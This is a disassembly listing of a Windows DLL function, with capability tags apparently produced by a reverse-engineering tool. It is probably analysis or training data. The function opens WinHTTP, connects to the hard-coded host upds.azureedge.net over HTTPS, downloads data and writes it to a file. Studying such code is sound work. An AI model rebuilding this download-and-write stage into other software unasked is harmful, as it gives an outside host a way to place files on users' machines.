Function at 0x10001010
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x1c], 1
mov dword [ebp - 8], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 0
push 0
push 0
push 0
push 4
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], str.upds.azureedge.net
cmp dword [ebp - 0x18], 0
je 0x10001081
push 0
push 0x1bb
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x14], eax
jmp 0x10001088
xor eax, eax
jmp 0x10001231
cmp dword [ebp - 0x14], 0
je 0x100010b1
push 0x800000
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0x10016218
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 4], eax
jmp 0x100010b8
xor eax, eax
jmp 0x10001231
cmp dword [ebp - 4], 0
je 0x100010d9
push 0
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x10], eax
jmp 0x100010e0
xor eax, eax
jmp 0x10001231
cmp dword [ebp - 0x10], 0
je 0x100010f7
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [ebp - 0x10], eax
jmp 0x100010fe
xor eax, eax
jmp 0x10001231
cmp dword [ebp - 0x10], 0
je 0x100011e4
push 0x10016220
mov eax, dword [ebp + 0xc]
push eax
call fcn.100052a0
add esp, 8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x100011e4
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x10001146
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 8]
add eax, 1
push eax
call fcn.10004f96
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000116e
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
jmp 0x100011c8
mov ecx, dword [ebp - 8]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0xc]
push edx
call fcn.10003e70
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x100011a6
mov dword [ebp - 0x1c], 0
jmp 0x100011bc
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call fcn.100060d1
add esp, 0x10
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10004f7b
add esp, 4
cmp dword [ebp - 8], 0
jbe 0x100011d8
cmp dword [ebp - 0x1c], 0
jne 0x10001126
mov edx, dword [ebp - 0x20]
push edx
call fcn.10005165
add esp, 4
cmp dword [ebp - 0x10], 0
jne 0x100011fe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error__d_has_occurred._n
call fcn.10002950
add esp, 8
cmp dword [ebp - 4], 0
je 0x1000120e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp dword [ebp - 0x14], 0
je 0x1000121e
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp dword [ebp - 0x18], 0
je 0x1000122e
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret